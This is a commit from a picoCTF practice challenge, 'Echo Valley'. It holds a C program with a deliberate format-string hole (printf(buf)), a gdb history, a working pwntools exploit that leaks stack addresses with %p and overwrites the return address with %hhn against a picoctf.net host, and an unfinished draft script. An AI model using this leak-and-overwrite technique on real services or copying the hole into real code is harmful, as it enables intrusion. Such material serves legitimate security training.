Echo Valley
This commit is contained in:
242
echo_valley/.gdb_history
Normal file
242
echo_valley/.gdb_history
Normal file
@@ -0,0 +1,242 @@
|
|||||||
|
disassemble main
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
r
|
||||||
|
r
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
AAAA.%p.%p.%p.%p.%p.%p
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
nexti
|
||||||
|
r
|
||||||
|
stepi
|
||||||
|
stackf
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
next
|
||||||
|
nextret
|
||||||
|
next
|
||||||
|
r
|
||||||
|
stepi
|
||||||
|
stackf
|
||||||
|
nextret
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
r
|
||||||
|
disassemble echo_valley
|
||||||
|
stackf
|
||||||
|
help stackf
|
||||||
|
stackf 8 -10
|
||||||
|
stackf 8
|
||||||
|
stackf 8 10
|
||||||
|
stackf 8 -100
|
||||||
|
stackf 16 -10
|
||||||
|
hexdump $sp
|
||||||
|
hexdump $sp-0x60
|
||||||
|
hexdump $sp-0x60 100
|
||||||
|
hexdump $sp-0x60 1000
|
||||||
|
hexdump $sp-0x60 100
|
||||||
|
stackf
|
||||||
|
hexdump $sp-0x60 100
|
||||||
|
stackf
|
||||||
|
nextret
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
hexdump $sp-0x60 200
|
||||||
|
necti
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
r
|
||||||
|
stepi
|
||||||
|
stackf
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
stepi
|
||||||
|
stackf
|
||||||
|
nextret
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
stepi
|
||||||
|
stackf
|
||||||
|
nextret
|
||||||
|
exit
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+201
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
exit
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
stackf
|
||||||
|
hexdump
|
||||||
|
hexdump 20
|
||||||
|
hexdump $sp 20
|
||||||
|
hexdump $sp 100
|
||||||
|
hexdump $sp 120
|
||||||
|
hexdump $sp 140
|
||||||
|
nexti
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
hexdump $sp 140
|
||||||
|
exit()
|
||||||
|
lexit
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
disassemble echo_valley
|
||||||
|
r
|
||||||
|
nexti
|
||||||
|
stackg
|
||||||
|
stackf
|
||||||
|
hexdump $sp 140
|
||||||
|
xit
|
||||||
|
exit
|
||||||
|
exit
|
||||||
|
nexti
|
||||||
|
nexti
|
||||||
|
r
|
||||||
|
exit
|
||||||
|
stackf
|
||||||
|
stackf
|
||||||
|
nexti
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
stackf
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
exit
|
||||||
|
exit
|
||||||
|
disassemble echo-valley
|
||||||
|
disassemble echo_valley
|
||||||
|
nextret
|
||||||
|
nextret
|
||||||
|
exit
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+163
|
||||||
|
nextret
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+218
|
||||||
|
r
|
||||||
|
help printf
|
||||||
|
printf "\01\02"
|
||||||
|
printf "\x01\x02"
|
||||||
|
printf "\x61\x62"
|
||||||
|
printf "\x41\x41"
|
||||||
|
disassemble valloc
|
||||||
|
exit
|
||||||
|
disassemble echo_valley
|
||||||
|
b *echo_valley+218
|
||||||
|
stackf
|
||||||
|
stackf help
|
||||||
|
stackf 20
|
||||||
|
stackf 20 -1
|
||||||
|
stackf 20 -2
|
||||||
|
stackf 20 1
|
||||||
|
stackf 20 2
|
||||||
|
stackf 20 3
|
||||||
|
stack-explore
|
||||||
|
stack
|
||||||
|
stackf
|
||||||
|
r
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
stackf
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
nexti
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
nexti
|
||||||
|
hexdump $sp 140
|
||||||
|
continue
|
||||||
|
stackf
|
||||||
|
hexdump $sp 140
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
hexdump $sp 140
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
nexti
|
||||||
|
continue
|
||||||
|
nexti
|
||||||
|
stackf
|
||||||
|
hexdump $sp 140
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
hexdump $sp 140
|
||||||
|
nexti
|
||||||
|
hexdump $sp 140
|
||||||
|
exit
|
||||||
|
b *echo_valley+218
|
||||||
|
continue
|
||||||
|
hexdump $sp 140
|
||||||
|
nexti
|
||||||
|
hexdump $sp 140
|
||||||
|
continue
|
||||||
|
hexdump $sp 140
|
||||||
|
nexti
|
||||||
|
hexdump $sp 140
|
||||||
|
continue
|
||||||
|
exit
|
||||||
|
exit
|
||||||
51
echo_valley/manual.py
Executable file
51
echo_valley/manual.py
Executable file
@@ -0,0 +1,51 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.terminal = "kitty"
|
||||||
|
|
||||||
|
def write(data):
|
||||||
|
print(f"data to send: {data}")
|
||||||
|
return input("enter result: ").encode()
|
||||||
|
|
||||||
|
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||||
|
print(f"received {address_leak_string}")
|
||||||
|
|
||||||
|
dot = address_leak_string.rfind(b'.')
|
||||||
|
address_leak = int(address_leak_string[dot+1:], 16)
|
||||||
|
print(f"return address: {hex(address_leak)}")
|
||||||
|
|
||||||
|
dot2 = address_leak_string.rfind(b'.', 0, dot)
|
||||||
|
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
|
||||||
|
stack_address_ret = stack_address_leak_after_ret - 8
|
||||||
|
print(f"found stack address of ret pointer: {hex(stack_address_ret)}")
|
||||||
|
|
||||||
|
address_offset = 18
|
||||||
|
main_offset = 0x1401
|
||||||
|
print_flag_offset = 0x1269
|
||||||
|
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
|
||||||
|
print(f"jump address is: {hex(address_to_return_to)}")
|
||||||
|
|
||||||
|
# only 2 least significant address bytes have to be rewritten
|
||||||
|
print(f"first byte address: {p64(stack_address_ret)}")
|
||||||
|
|
||||||
|
# produces string that writes 0<=n<=255 to byte at address
|
||||||
|
# offset for alignment of memory address
|
||||||
|
# here, use offset 2
|
||||||
|
def produce_writer(n, address, offset=0, op=b"hhn"):
|
||||||
|
if n < 0:
|
||||||
|
log.error(f"n has to be >= 0, is {n}")
|
||||||
|
exit()
|
||||||
|
if n < 8:
|
||||||
|
n_pre = n
|
||||||
|
n_post = 8 - n_pre + offset
|
||||||
|
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
|
||||||
|
else:
|
||||||
|
return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address
|
||||||
|
|
||||||
|
lower_byte_value = address_to_return_to%256
|
||||||
|
upper_byte_value = (address_to_return_to>>8)%256
|
||||||
|
print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}")
|
||||||
|
write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2))
|
||||||
|
write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2))
|
||||||
|
conn.interactive(term.text.bold_red(">> "))
|
||||||
|
|
||||||
63
echo_valley/sol.py
Executable file
63
echo_valley/sol.py
Executable file
@@ -0,0 +1,63 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#conn = process("./valley")
|
||||||
|
conn = remote("shape-facility.picoctf.net", 53287)
|
||||||
|
conn.recvline()
|
||||||
|
|
||||||
|
def write(data):
|
||||||
|
conn.sendline(data)
|
||||||
|
conn.recvuntil(b"e: ")
|
||||||
|
return conn.recvline(keepends=False)
|
||||||
|
|
||||||
|
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||||
|
log.info(f"received {address_leak_string}")
|
||||||
|
|
||||||
|
dot = address_leak_string.rfind(b'.')
|
||||||
|
address_leak = int(address_leak_string[dot+1:], 16)
|
||||||
|
log.info(f"return address: {hex(address_leak)}")
|
||||||
|
|
||||||
|
dot2 = address_leak_string.rfind(b'.', 0, dot)
|
||||||
|
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
|
||||||
|
stack_address_ret = stack_address_leak_after_ret - 8
|
||||||
|
log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")
|
||||||
|
|
||||||
|
address_offset = 18
|
||||||
|
main_offset = 0x1401
|
||||||
|
print_flag_offset = 0x1269
|
||||||
|
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
|
||||||
|
log.info(f"jump address is: {hex(address_to_return_to)}")
|
||||||
|
|
||||||
|
# only 2 least significant address bytes have to be rewritten
|
||||||
|
log.info(f"first byte address: {p64(stack_address_ret)}")
|
||||||
|
|
||||||
|
# produces string that writes 0<=n<=255 to byte at address
|
||||||
|
# offset for alignment of memory address
|
||||||
|
# here, use offset 2
|
||||||
|
def produce_writer(n, address, offset=0, op=b"hhn"):
|
||||||
|
if n < 0:
|
||||||
|
log.error(f"n has to be >= 0, is {n}")
|
||||||
|
exit()
|
||||||
|
if n < 8:
|
||||||
|
n_pre = n
|
||||||
|
n_post = 8 - n_pre + offset
|
||||||
|
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
|
||||||
|
else:
|
||||||
|
return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address
|
||||||
|
|
||||||
|
lower_byte_value = address_to_return_to%256
|
||||||
|
upper_byte_value = (address_to_return_to>>8)%256
|
||||||
|
|
||||||
|
lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
|
||||||
|
log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
|
||||||
|
write_lower_byte = conn.sendline(lower_byte_writer)
|
||||||
|
|
||||||
|
upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
|
||||||
|
log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
|
||||||
|
write_upper_byte = conn.sendline(upper_byte_writer)
|
||||||
|
|
||||||
|
conn.sendline(b"exit")
|
||||||
|
conn.recvuntil(b"The Valley Disappears\n")
|
||||||
|
rest = conn.recvall()
|
||||||
|
log.info(f"got {rest}")
|
||||||
|
|
||||||
BIN
echo_valley/valley
Executable file
BIN
echo_valley/valley
Executable file
Binary file not shown.
49
echo_valley/valley.c
Normal file
49
echo_valley/valley.c
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
void print_flag() {
|
||||||
|
char buf[32];
|
||||||
|
FILE *file = fopen("/home/valley/flag.txt", "r");
|
||||||
|
|
||||||
|
if (file == NULL) {
|
||||||
|
perror("Failed to open flag file");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
fgets(buf, sizeof(buf), file);
|
||||||
|
printf("Congrats! Here is your flag: %s", buf);
|
||||||
|
fclose(file);
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
void echo_valley() {
|
||||||
|
printf("Welcome to the Echo Valley, Try Shouting: \n");
|
||||||
|
|
||||||
|
char buf[100];
|
||||||
|
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
fflush(stdout);
|
||||||
|
if (fgets(buf, sizeof(buf), stdin) == NULL) {
|
||||||
|
printf("\nEOF detected. Exiting...\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strcmp(buf, "exit\n") == 0) {
|
||||||
|
printf("The Valley Disappears\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("You heard in the distance: ");
|
||||||
|
printf(buf);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
echo_valley();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user